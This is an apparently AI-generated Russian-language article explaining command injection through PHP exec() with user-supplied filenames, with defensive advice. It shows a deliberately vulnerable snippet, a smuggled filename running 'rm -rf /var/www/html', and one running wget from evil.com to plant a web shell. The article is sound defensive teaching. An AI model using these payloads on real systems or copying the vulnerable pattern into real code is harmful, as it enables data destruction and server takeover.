Почему использование функции exec() в PHP для обработки пользовательских файлов — это огромная дыра в безопасности (Command Injection)?

Функция exec() в PHP позволяет выполнять произвольные команды операционной системы прямо из PHP-скрипта. Это мощный инструмент, но именно эта мощь делает его крайне опасным, если в команду попадают данные, переданные пользователем — например, имя загруженного файла.

**Как работает атака Command Injection**

Предположим, вы принимаете файл от пользователя и обрабатываете его через exec():

php
$filename = $_POST[‘filename’];
exec(«convert $filename output.jpg»);

Пользователь вместо обычного имени файла передаёт:

image.png; rm -rf /var/www/html

Итоговая команда, которую выполнит сервер:

convert image.png; rm -rf /var/www/html output.jpg

Сервер сначала выполнит convert, а затем удалит весь сайт. Символы `;`, `&&`, `||`, `|`, `$()`, обратные кавычки — всё это разделители и подстановки команд в bash, которые позволяют атакующему выполнить любой произвольный код.

**Почему это особенно опасно при работе с файлами**

1. **Имена файлов не контролируются пользователем.** Пользователь может назвать файл как угодно: `photo; wget http://evil.com/shell.php -O shell.php`. После загрузки и обработки на сервере появится веб-шелл.

2. **Контекст выполнения — системный.** exec() выполняет команды от имени пользователя веб-сервера (www-data, apache и т.д.), который нередко имеет широкие права на файловую систему.

3. **Обход фильтров через кодировки.** Атакующий может использовать URL-кодирование, Unicode или пробелы в именах файлов, обходя примитивные проверки.

4. **Цепочка атак.** Через Command Injection можно: читать /etc/passwd, устанавливать бэкдоры, скачивать вредоносные скрипты, открывать reverse shell до атакующего.

**Как защититься**

— Использовать `escapeshellarg()` и `escapeshellcmd()` для экранирования аргументов.
— Никогда не передавать имя файла напрямую — генерировать случайное имя на сервере через `uniqid()` или `bin2hex(random_bytes(8))`.
— Проверять MIME-тип файла на сервере, а не доверять расширению.
— По возможности отказаться от exec() в пользу нативных PHP-библиотек (GD, Imagick, FFMpeg через PHP-обёртки).
— Запускать обработку файлов в изолированной среде (Docker, chroot, отдельный сервис).
— Настроить `disable_functions = exec, shell_exec, system, passthru` в php.ini, если системные вызовы не нужны.

**Вывод**

exec() с пользовательскими данными — это буквально передача злоумышленнику терминала на вашем сервере. Даже одна непроверенная переменная в команде может привести к полной компрометации сервера. Правило простое: никогда не доверяйте пользовательскому вводу и никогда не подставляйте его в системные команды без строгой санитизации.


Задайте вопрос нейросети

Не нашли ответ? Спросите ИИ — он подготовит развёрнутую статью.